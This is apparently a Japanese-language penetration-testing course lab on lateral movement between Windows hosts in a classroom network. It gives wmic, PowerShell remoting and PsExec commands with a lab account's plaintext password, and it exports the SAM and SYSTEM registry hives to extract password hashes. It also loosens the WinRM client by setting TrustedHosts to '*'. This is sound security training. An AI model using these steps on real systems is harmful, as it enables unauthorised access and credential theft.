Skip to content

Lab 4.1: Lateral Movement from Windows

オンライン演習

接続性: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • リモートシステム上でコマンドを実行するために wmic を使用する
  • リモートシステム上でコマンドを実行するために Invoke-Command を使用する
  • リモートシステム上でコマンドを実行するために Enter-PSSession を使用する
  • WMIC/Enter-PSSession および PsExec に必要なプロトコルを分析する
  • SMB経由でリモートシステム上で対話型コマンドを実行するために PsExec を使用する

Walkthrough Video

ラボのセットアップ

使用するVM:

  • Windows

Windows VMから10.130.10.10にpingできることを確認してください:

コマンド

ping 10.130.10.10

想定される結果

PS C:\Users\sec560> ping 10.130.10.10

Pinging 10.130.10.10 with 32 bytes of data:
Reply from 10.130.10.10: bytes=32 time=41ms TTL=63
Reply from 10.130.10.10: bytes=32 time=42ms TTL=63
Reply from 10.130.10.10: bytes=32 time=42ms TTL=63
Reply from 10.130.10.10: bytes=32 time=41ms TTL=63

Ping statistics for 10.130.10.10:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 41ms, Maximum = 42ms, Average = 41ms
PS C:\Users\sec560>

ラボ - 手順

1: リモートWindowsシステムでコマンドを実行するためのWMIC

ターゲット環境には保護されたサブネットがあり、それにアクセスしたいと考えています。サブネットは10.130.11.0/24で、デュアルホームになっているか、ACLを通じてアクセスできるシステムを見つける必要があります。リモートWindowsシステムでいくつかのコマンドを実行して、ピボットホストとして使用する適切なシステムを見つけましょう。

wmic コマンドは、リモートWindowsシステムでコマンドを実行するための強力なネイティブツールです。ただし、wmic はコマンドの結果を返しません。したがって、インプラントの起動や構成変更など、結果を確認する必要がないコマンドで使用する必要があります。結果を確認する必要がある場合は、出力をファイルにリダイレクトしてから取得する必要があります。

まず、Lab 3.4: MSF psexec、ハッシュダンプ、およびMimikatzで学んだように、bgreenは10.130.10.5、10.130.10.25、および10.130.10.44の管理者です。したがって、Cドライブの隠し管理共有 C$ に接続できます。10.130.10.25の C:Windows\Temp\ ディレクトリに管理共有経由でドライブをマップし、新しくマップされたドライブにディレクトリを変更しましょう。

コマンド

net use Y: \\10.130.10.25\C$\Windows\Temp /user:hiboxy\bgreen Password1
Y:

想定される結果

PS C:\Users\sec560> net use Y: \\10.130.10.25\C$\Windows\Temp /user:hiboxy\bgreen Password1
The command completed successfully.

PS C:\Users\sec560> Y:
PS Y:\>

次に、Windows VMのOpenVPNインターフェースのIPアドレスにちなんで名付けられた一時フォルダを作成して、ラボで作業している他の学生の出力と区別しましょう。

コマンド

mkdir WINDOWS_ETHERNET2_ADDRESS && cd WINDOWS_ETHERNET2_ADDRESS

想定される結果

PS Y:\> mkdir 10.254.252.2


    Directory: Y:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/19/2024  12:38 PM                10.254.252.2


PS Y:\> cd 10.254.252.2
PS Y:\10.254.252.2>

ターゲットシステムに関する情報を収集しましょう。systeminfo コマンドから始めることができますが、wmic に返されないため、出力をファイルにリダイレクトする必要があります。wmic はコマンドシェルを経由せず、リモートコマンドを直接起動するため、出力を保存するためにシェルリダイレクトを使用できません。これを回避するために、cmd /c を使用して systeminfo を実行できます。これにより cmd.exe によって実行されるため、シェルリダイレクトを使用して結果を保存できます。

wmic コマンドは非常に長く複雑になる可能性があるため、実行する前に分解してみましょう:

  • wmic - Windows Management Instrumentationコマンド。
  • /node:10.130.10.25 - /node を使用すると、リモートコンピュータまたはIPを指定できます。@ を使用して、/node:@hosts.txt のように、ホスト名またはIPアドレスを含むファイルを指定することもできます。その後、ファイルにリストされている各システムで指定したWMIクエリを実行します。
  • /user:hiboxy\bgreen /password:Password1 - これらのパラメータは、リモートシステムに接続するために必要なユーザー名とパスワードを指定します。ログインしているユーザーがリモートマシンの管理者である場合、ユーザー名とパスワードを指定する必要はありません。
  • process call create - これはWMIクエリです。この場合、リモートコンピュータに指定されたコマンドを実行するように指示します。
  • "cmd.exe /c systeminfo > C:\Windows\Temp\WINDOWS_ETHERNET2_ADDRESS\systeminfo.txt" これはWMIが実行するコマンドです。これも分解してみましょう。
  • cmd.exe /c - /c で実行すると、cmd.exe は「文字列で指定されたコマンドを実行してから終了します」。つまり、cmd.exe は次のコマンドを実行して終了します。systeminfo の出力を保存するためにシェルリダイレクトを使用できるように、これを使用する必要があります。Windows ターミナルで cmd.exe /? と入力すると、cmd.exe の他のオプションを確認できます。
  • systeminfo - これは、OSビルドバージョン、OS構成、インストール日、インストールされたホットフィックスなどの情報を収集する組み込みのWindowsコマンドです。

WINDOWS_ETHERNET2_ADDRESS を、VMのOpenVPN IPアドレスに変更してください。コマンド内のどこにあるかを確認するには、以下のコマンドを右にスクロールする必要がある場合があります。

コマンド

wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "cmd.exe /c systeminfo > C:\Windows\Temp\WINDOWS_ETHERNET2_ADDRESS\systeminfo.txt"

想定される結果

Y:\10.254.252.2> wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "cmd.exe /c systeminfo > C:\Windows\Temp\10.254.252.2\systeminfo.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 14944;
        ReturnValue = 0;
};

type コマンドを使用してテキストファイルを読み取り、結果を見てみましょう。notepad systeminfo.txt を使用してメモ帳で開くこともできます。

コマンド

type systeminfo.txt

想定される結果

PS Y:\10.254.252.2> type systeminfo.txt

Host Name:                 MAIL01
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
... output trimmed for brevity ...

systeminfoは便利ですが、マシンから略奪すべきより興味深いものがあります。パスワードハッシュを抽出するために secretsdump.py を使用できるように、SAMおよびSYSTEMレジストリハイブをエクスポートしましょう。今回は、wmic を使用して reg save コマンドを実行し、HKEY_LOCAL_MACHINE/SAMHKEY_LOCAL_MACHINE/SYSTEM のコピーを保存します。HKEY_LOCAL_MACHINEHKLM と略すことができます。

コマンド

wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "reg save HKLM\SAM C:\Windows\Temp\WINDOWS_ETHERNET2_ADDRESS\SAM.hive"
wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "reg save HKLM\SYSTEM C:\Windows\Temp\WINDOWS_ETHERNET2_ADDRESS\SYSTEM.hive"

想定される結果

PS Y:\10.254.252.2> wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "reg save HKLM\SAM C:\Windows\Temp\10.254.252.2\SAM.hive"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 7420;
        ReturnValue = 0;
};

PS Y:\10.254.252.2> wmic /node:10.130.10.25 /user:hiboxy\bgreen /password:Password1 process call create "reg save HKLM\SYSTEM C:\Windows\Temp\10.254.252.2\SYSTEM.hive"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 18892;
        ReturnValue = 0;
};

素晴らしい!通常、これらのファイルをマシンにコピーして secretsdump.py でハッシュを抽出しますが、dir を実行すると、SYSTEMハイブが15〜20 MBであることがわかります。ラボ環境の帯域幅を節約するために、PowerShellを使用してコマンドをネイティブに実行することに移りましょう。

2: Invoke-CommandとEnter-PSSession

Invoke-CommandEnter-PsSession、および winrs はすべて、Windows Remote Managementを使用してコマンドを実行します。WinRMクライアントは、Windows 10およびWindows 11ではデフォルトで有効になっていませんが、Windows Server 2012以降のすべてのバージョンでは、サーバー側コンポーネントがデフォルトで有効になっています。

クライアント側のWinRMコンポーネントを有効にするには、管理者権限のPowerShellウィンドウを開き、Enable-PSRemoting を実行します。

コマンド

Enable-PSRemoting

想定される結果

PS Y:\10.254.252.2> Enable-PSRemoting
PS Y:\10.254.252.2>

WinRMファイアウォール例外に関する赤いエラーテキストが表示された場合は、無視してかまいません。これは、WinRM接続を許可するファイアウォールルールが、現在のネットワークの「パブリック」設定によって上書きされていることを警告しています。WinRMでシステムに接続する必要がないため、問題ありません。

WinRMクライアントが有効になったので、2つの設定変更を行う必要があります。 1. WinRMクライアントでCredSSPを有効にする必要があります。 2. WinRMクライアントは任意のホストを信頼する必要があります。

デフォルトでは、WinRMはCredSSPが無効になっています。これは、優先される認証スキームがMicrosoft Kerberosであるためです。CredSSPは、Simple and Protected Negotiate(SPNEGO)プロトコルを使用して、認証にMicrosoft KerberosまたはNTLMをネゴシエートします。

Windows VMはターゲットドメインのメンバーではないため、Kerberosは機能しません。したがって、WinRMはNTLM認証にネゴシエートダウンできるように、CredSSPが必要です。

デフォルトでは、WinRMは、クライアント構成で指定されている場合、またはリモートホストが同じドメインのメンバーであり、認証にKerberosを使用できる場合にのみ、ホストを信頼します。デフォルト構成は、Responderのような資格情報収集攻撃からクライアントを保護します。

これら2つの設定を変更しましょう。

コマンド

winrm set winrm/config/client/auth '@{CredSSP ="true"}'
winrm set winrm/config/client '@{TrustedHosts ="*"}'

想定される結果

PS Y:\10.254.252.2> winrm set winrm/config/client/auth '@{CredSSP ="true"}'
Auth
    Basic = true
    Digest = true
    Kerberos = true
    Negotiate = true
    Certificate = true
    CredSSP = true

PS Y:\10.254.252.2> winrm set winrm/config/client '@{TrustedHosts ="*"}'
Client
    NetworkDelayms = 5000
    URLPrefix = wsman
    AllowUnencrypted = false
    Auth
        Basic = true
        Digest = true
        Kerberos = true
        Negotiate = true
        Certificate = true
        CredSSP = true
    DefaultPorts
        HTTP = 5985
        HTTPS = 5986
    TrustedHosts = *
    spn_prefix = HOST

WinRMが有効になったので、Invoke-Command を使用して systeminfo コマンドを対話的に実行し、結果をファイルに保存する必要がないようにしましょう。資格情報オブジェクトを作成するには、Get-Credential コマンドレットを使用する必要があります。デフォルトでは、PowerShellは資格情報を入力するためのシステムダイアログボックスを開きます。レジストリで ConsolePrompting を有効にすることで、そのダイアログボックスを無効にできます。

コマンド

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds" -Name ConsolePrompting -Value $true

想定される結果

PS Y:\10.254.252.2> Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds" -Name ConsolePrompting -Value $true

この変更を行った後、Get-Credential を使用して資格情報オブジェクトを作成します。コンソールでbgreenのパスワードを求められたら、Password1 と入力します。

コマンド

$Creds = Get-Credential hiboxy\bgreen

想定される結果

PS Y:\10.254.252.2> $Creds = Get-Credential hiboxy\bgreen

次に、Invoke-Command を使用して、作成したばかりの $Creds 資格情報オブジェクトを使用して10.130.10.25で systeminfo を実行します。

コマンド

Invoke-Command 10.130.10.25 -Credential $Creds {systeminfo}

想定される結果

PS Y:\10.254.252.2> Invoke-Command 10.130.10.25 -Credential $Creds {systeminfo}

Host Name:                 MAIL01
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
[... output trimmed for brevity ...]
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

プロンプトがローカルマシンに戻ることに注意してください。2番目のコマンドを実行したい場合は、適切な構文で再び Invoke-Command を使用する必要があります。代わりに、Enter-PSSession を使用して対話型シェルを起動し、必要な数のコマンドを実行できるようにしましょう。

コマンド

Enter-PSSession 10.130.10.25 -Credential $Creds

想定される結果

PS Y:\10.254.252.2> Enter-PSSession 10.130.10.25 -Credential $Creds
[10.130.10.25]: PS C:\Users\bgreen\Documents> 

PowerShellがプロンプトを変更してリモートシステムのIPアドレスを含めるため、今後のコマンドがどこで実行されるかを簡単に把握できます。

ipconfig を実行して、システムがデュアルホームであり、10.130.11.0/24ネットワークにアクセスできるかどうかを確認しましょう。

コマンド

ipconfig

想定される結果

[10.130.10.25]: PS C:\Users\bgreen\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

Connection-specific DNS Suffix  . : hiboxy.com
Link-local IPv6 Address . . . . . : fe80::8ab3:33b7:a838:fd7a%8
IPv4 Address. . . . . . . . . . . : 10.130.10.25
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.130.10.1

このシステムは.11ネットワークへのピボットには役立たないようですので、このセッションを終了して10.130.10.5でセッションを作成しましょう。

コマンド

exit
Enter-PSSession 10.130.10.5 -Credential $Creds

想定される結果

[10.130.10.25]: PS C:\Users\bgreen\Documents> exit
PS Y:\10.254.252.2> Enter-PSSession 10.130.10.5 -Credential $Creds
Enter-PSSession: Connecting to remote server 10.130.10.5 failed with the following error message : WinRM cannot complete the operation. Verify that the specified computer name is valid, that the computer is accessible over the network, and that a firewall exception for the WinRM service is enabled and allows access from this computer. By default, the WinRM firewall exception for public profiles limits access to remote computers within the same local subnet. For more information, see the about_Remote_Troubleshooting Help topic.

コマンドが失敗しました。エラーには問題のいくつかの可能性のある原因が記載されています。tcpview.exe を開いて10.130.10.5のフィルタを作成し、何が起こっているかを確認しましょう。

コマンド

tcpview

想定される結果

TCPView opens

TCPViewで、検索ボックスに 10.130.10.5 と入力します:

10.130.10.5のフィルタを作成

Enter-PSSession 10.130.10.5 -Credential $Creds を再実行し、tcpview.exe を観察します。

コマンド

Enter-PSSession 10.130.10.5 -Credential $Creds

想定される結果

PS Y:\10.254.252.2> Enter-PSSession 10.130.10.5 -Credential $Creds
Enter-PSSession : Connecting to remote server 10.130.10.5 failed with the following error message : WinRM cannot complete the operation. Verify that the specified computer name is valid, that the computer is
accessible over the network, and that a firewall exception for the WinRM service is enabled and allows access from this computer. By default, the WinRM firewall exception for public profiles limits access to
remote computers within the same local subnet. For more information, see the about_Remote_Troubleshooting Help topic.
TCP SYN to 5985

状態がポート 5985 への Syn Sent であることがわかりますが、接続は確立されません。TCPViewを実行したまま、10.130.10.5 に対して wmic を試してみましょう。コマンドが実行されたかどうかを知るために出力は必要ありません。コマンドが正常に実行されたことを知るために ReturnValue = 0 を確認するだけで十分です。

コマンド

wmic /node:10.130.10.5 /user:hiboxy\bgreen /password:Password1 process call create "ipconfig"

想定される結果

PS Y:\10.254.252.2> wmic /node:10.130.10.5 /user:hiboxy\bgreen /password:Password1 process call create "ipconfig"
ERROR:
Description = The RPC server is unavailable.

TCP SYN to 135

wmic も失敗することがわかります。エラーが表示され、ReturnValue = 0 は表示されません。TCPViewで、wmic がTCPポート135に接続しようとしているが失敗していることがわかります。

TCP 135と5895が利用可能であることを確認しましょう。まず nmap を使用しますが、ポートのリストを Test-NetConnection コマンドレットに送信し、foreach エイリアス % を使用して各ポート($_ で表される)に接続することもできます。

コマンド

nmap 10.130.10.5 -Pn -n -p 135,445,5985 --unprivileged

想定される結果

PS Y:\10.254.252.2> nmap 10.130.10.5 -Pn -n -p 135,5985 --unprivileged
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-21 12:56 Pacific Daylight Time
Nmap scan report for 10.130.10.5
Host is up.

PORT     STATE    SERVICE
135/tcp  filtered msrpc
445/tcp  open     microsoft-ds
5985/tcp filtered wsman

Nmap done: 1 IP address (1 host up) scanned in 3.09 seconds
必要に応じて、Test-NetConnectionforeach を使用して同等のスキャンを実行する構文を以下に示します。警告: このコマンドは完了するまで約45秒かかります。
(135, 5985) | % { Test-NetConnection 10.130.10.5 -Port $_ }

両方の接続が失敗しました。TCP 135は wmic に必要で、TCP 5985は winrsInvoke-Command、および Enter-PsSession に必要です。これらがなければ、SMBであるTCP 445のみに依存するツールが必要です。SysInternalsの PsExec.exe を見てみましょう。

3: PsExec.exe

PsExec.exe を使用して10.130.10.5で ipconfig を実行し、TCPViewを監視しましょう。

コマンド

psexec \\10.130.10.5 -u hiboxy\bgreen -p Password1 -i ipconfig

想定される結果

PS Y:\10.254.252.2> psexec \\10.130.10.5 -u hiboxy\bgreen -p Password1 -i ipconfig

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com



Windows IP Configuration


Ethernet adapter Ethernet:

Connection-specific DNS Suffix  . : hiboxy.com
Link-local IPv6 Address . . . . . : fe80::e108:5ae1:4ccd:54f%8
IPv4 Address. . . . . . . . . . . : 10.130.10.5
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.130.10.1
ipconfig exited on 10.130.10.5 with error code 0.

少し遅延がありますが、実行されます。TCPViewを見ると、PsExecがTCP 445で接続し、TCP 135に切り替えようとし、その後、コマンド実行の残りの部分で445を使用することにフォールバックすることがわかります。

TCP 135 SYNと445が確立

MAIL01に対して同じコマンドを実行すると、遅延はありません。

コマンド

psexec \\10.130.10.25 -u hiboxy\bgreen -p Password1 -i ipconfig

想定される結果

PS Y:\10.254.252.2> psexec \\10.130.10.25 -u hiboxy\bgreen -p Password1 -i ipconfig

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com



Windows IP Configuration


Ethernet adapter Ethernet:

Connection-specific DNS Suffix  . : hiboxy.com
Link-local IPv6 Address . . . . . : fe80::8ab3:33b7:a838:fd7a%8
IPv4 Address. . . . . . . . . . . : 10.130.10.25
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.130.10.1
ipconfig exited on 10.130.10.25 with error code 0.

遅延は、PsExecがTCP 445で最初の接続を行い、その後TCP 135に切り替えようとし、その後TCP 445にフォールバックすることによるものです。

クリーンアップするために、マップされたドライブを削除しましょう:

コマンド

C:
net use Y: /delete

想定される結果

PS Y:\10.254.252.2> C:
PS C:\Users\sec560> net use Y: /delete
Y: was deleted successfully.

まとめ

素晴らしい仕事です!このラボでは、侵害されたWindowsシステムを使用して、他のWindowsシステムでコマンドを実行しました。残念ながら、bgreenは10.130.11.0/24ネットワークに接続されているシステムに対する管理者アクセス権を持っていませんでした。次のセクションでは、Linuxを使用してそのサブネットに横方向に移動してみます。

ボーナス 1

PsExec.exe は、リモートシステムでサービスを作成して起動することで機能することを説明しました。PsExec.exe が利用できない場合は、sc.exe を使用してland off the landし、同じことを達成できます。10.130.10.5または10.130.10.25でサービスを作成して、Systemとしてコマンドを実行してください。

ボーナス 2

時間が余っている場合は、SharpCollectionに含まれている SharpRDP.exe を使用してコマンドを実行してみてください(C:\bin\SharpCollection\NetFramework_4.7_Any\)。ヒント: まず、TCP 3389でリッスンしている潜在的なターゲットを見つける必要があります。